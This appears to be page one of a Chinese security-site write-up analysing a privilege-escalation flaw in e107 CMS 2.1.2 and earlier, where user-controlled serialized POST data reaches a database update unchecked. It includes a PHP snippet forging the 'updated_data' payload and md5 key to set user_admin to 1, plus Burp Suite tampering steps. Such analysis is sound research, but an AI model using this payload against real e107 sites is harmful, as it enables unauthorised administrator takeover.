欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

e107 CMS 小于等于2.1.2 权限提升漏洞分析

来源:本站整理 作者:佚名 时间:2017-01-05 TAG: 我要投稿

0x00 漏洞背景
e107 CMS是一个基于PHP、Bootstrap、Mysql的网站内容管理系统,可广泛用于个人博客、企业建站,在全球范围内使用较为广泛。
0x01 漏洞影响版本
version
0x02 漏洞分析环境
运行环境:macOS10.12.2 + apache2.4.23 + PHP5.6.27 + Mysql5.7.16
e107 CMS版本:v2.1.2
0x03 漏洞详情
首先我们从rips的扫描报告https://blog.ripstech.com/2016/e107-sql-injection-through-object-injection/中可以大致知道整个漏洞的触发是利用反序列化漏洞来进行数据库数据修改,进一步进行权限提升。 接下来,我们就来对整个触发流程进行分析:
1.首先我们注册普通用户test2,原始邮箱地址为test22@1.com;我们可以看到user_admin字段为0(e107 CMS以user_admin字段标示用户权限,1为管理员,0为普通用户),因此test2是普通用户;接下来我们进入/e107/usersettings.php修改邮箱

2.反序列化漏洞及数据库注入漏洞代码跟踪
变量关系注释:$_POST[‘updated_data’]为base64编码的值,$new_data是base64解码后的值是一个序列化的值,$changedUserData为反序列化后的值,是一个数组。
首先跟进usersettings.php 353-387行的代码
353  $new_data = base64_decode($_POST['updated_data']);
  ...
387   $changedUserData = unserialize($new_data);
353行中用户可控变量$_POST['updated_data']未经进一步处理就直接在387行中进行了反序列化,并将数据赋值给$changedUserData变量,以便进一步操作.
继续跟进$changedUserData变量
455 $changedData['data'] = $changedUserData;
    ...
460 if (FALSE === $sql->update('user', $changedData))
$changedUserData变量在460行进入mysql类方法,跟进/e107_handlers/mysql_class.php中的update函数
1160 function update($tableName, $arg, $debug = FALSE, $log_type = '', $log_remark = '') {
1162 $arg = $this->_prepareUpdateArg($tableName, $arg);
   ...
1183 $result = $this->mySQLresult = $this->db_Query($query, NULL, 'db_Update');
跟进_prepareUpdateArg函数
1083 private function _prepareUpdateArg($tableName, $arg) {
1084    ...
1085    foreach ($arg[‘data’] as $fn => $fv) {
1086     $new_data .= ($new_data ? ', ' : '');
1087    $ftype = isset($fieldTypes[$fn]) ? $fieldTypes[$fn] : 'str';
1088    $new_data .= "{$fn}=".$this->_getFieldValue($fn, $fv, $fieldTypes);
1089        ...
1090    }
1091   return $new_data .(isset($arg[‘WHERE’]) ? ' WHERE '. $arg['WHERE'] : '');
跟进_getFieldValue函数
1247 function _getFieldValue($fieldKey, $fieldValue, &$fieldTypes) {
1248 $type = isset($fieldTypes[$fieldKey]) ? $fieldTypes[$fieldKey] : $fieldTypes['_DEFAULT'];
1249   switch ($type) {
1250       case 'str':
1251       case 'string':
1252   return "'".$this->escape($fieldValue, false)."'";
可以看出$changedUserData变量仅仅被拆分开来,而没有做进一步校验是否有恶意参数,因此只要$changedUserData中包含恶意的user表字段,便能够任意修改数据表中的值。
3.漏洞利用
首先我们来看看测试正常修改邮箱的数据格式,测试更改邮箱为22test2@1.com

这里就可以清楚地看到,$new_data变量为被修改数据序列化的值,$changedUserData为$new_data反序列化后的值,数据校验成功后,$changedUserData就会被拆分,然后进入$sql->update函数执行,进而任意修改数据库数据。
那么,我们如何利用这个漏洞链呢?
要做到提权操作,我们就需要更新test2用户的user_admin字段,并且在修改$new_data变量的值后,必须顺利通过usersetings.php的两个if语句检查:
358 if (md5($new_data) != $_POST['updated_key'] || ($userMethods->hasReadonlyField($new_data) !==false))
    ...
366 if (md5($new_extended) != $_POST['extended_key'])
从358行来看,我们在抓包修改$_POST['updated_data']的同时需要修改掉$_POST['updated_key'],使之满足md5值校验。 我使用如下的php代码生成update_key和updated_data
/* php code */
$a = array('user_email'=>'2test2@1.com','user_admin'=>1);
$b = serialize($a);
echo 'updated_data is: '.$b;
echo 'update_key is : '.md5($b);
/* php code */
接下来使用burpsuite抓包修改$_POST['updated_data']为以及$_POST['update_key'](注意:e107 在修改邮箱时会验证密码,我们只修改校验了密码之后的数据包,如下图:)

成功反序列化:

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载